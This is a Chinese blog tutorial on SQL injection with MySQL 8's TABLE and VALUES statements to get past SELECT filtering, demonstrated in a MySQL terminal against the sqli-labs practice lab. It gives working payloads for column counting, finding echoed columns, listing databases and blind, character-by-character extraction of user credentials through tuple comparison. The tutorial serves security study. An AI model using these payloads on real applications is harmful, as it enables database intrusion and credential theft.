主页 > 网络知识 > 浅谈利用mysql8新特性进行SQL注入(2)

浅谈利用mysql8新特性进行SQL注入(2)

场景:select关键词被过滤,多语句无法使用
测试环境
1.mysql命令终端
2.sqli-labs靶场Less-1

1、在mysql命令终端测试 1.判断列数

由于TABLE命令和VALUES返回的都是表数据,它们所返回的数据可以通过UNION语句联合起来,当列数不对时会报错,根据这点可以判断列数

TABLE users union VALUES ROW(1,2,3);

 

浅谈利用mysql8新特性进行SQL注入

 

2.使用values判断回显位 select * from users where id=-1 union values row(1,2,3);

 

浅谈利用mysql8新特性进行SQL注入

 

3.列出所有数据库名 table information_schema.schemata;

 

浅谈利用mysql8新特性进行SQL注入

 

4.盲注查询任意表中的内容

语句table users limit 1;的查询结果:

mysql> table users limit 1; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | Dumb | Dumb | +----+----------+----------+ 1 row in set (0.00 sec)

实质上是(id, username, password)与(1, 'Dumb', 'Dumb')进行比较,比较顺序为自左向右,第一列(也就是第一个元组元素)判断正确再判断第二列(也就是第二个元组元素)。
两个元组第一个字符比大小,如果第一个字符相等就比第二个字符的大小,以此类推,最终结果即为元组的大小。

mysql> select ((1,'','')<(table users limit 1)); +-----------------------------------+ | ((1,'','')<(table users limit 1)) | +-----------------------------------+ | 1 | +-----------------------------------+ 1 row in set (0.00 sec) mysql> select ((2,'','')<(table users limit 1)); +-----------------------------------+ | ((2,'','')<(table users limit 1)) | +-----------------------------------+ | 0 | +-----------------------------------+ 1 row in set (0.00 sec) mysql> select ((1,'Du','')<(table users limit 1)); +-------------------------------------+ | ((1,'Du','')<(table users limit 1)) | +-------------------------------------+ | 1 | +-------------------------------------+ 1 row in set (0.00 sec) mysql> select ((1,'Dum','')<(table users limit 1)); +--------------------------------------+ | ((1,'Dum','')<(table users limit 1)) | +--------------------------------------+ | 1 | +--------------------------------------+ 1 row in set (0.00 sec) mysql> select ((1,'Dumb','')<(table users limit 1)); +---------------------------------------+ | ((1,'Dumb','')<(table users limit 1)) | +---------------------------------------+ | 1 | +---------------------------------------+ 1 row in set (0.00 sec) mysql> select ((1,'Dumb','D')<(table users limit 1)); +----------------------------------------+ | ((1,'Dumb','D')<(table users limit 1)) | +----------------------------------------+ | 1 | +----------------------------------------+ 1 row in set (0.00 sec) 需要注意的地方

1.当前判断的所在列的后一列需要用字符表示,不能用数字,否则判断到当前列的最后一个字符会判断不出!

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!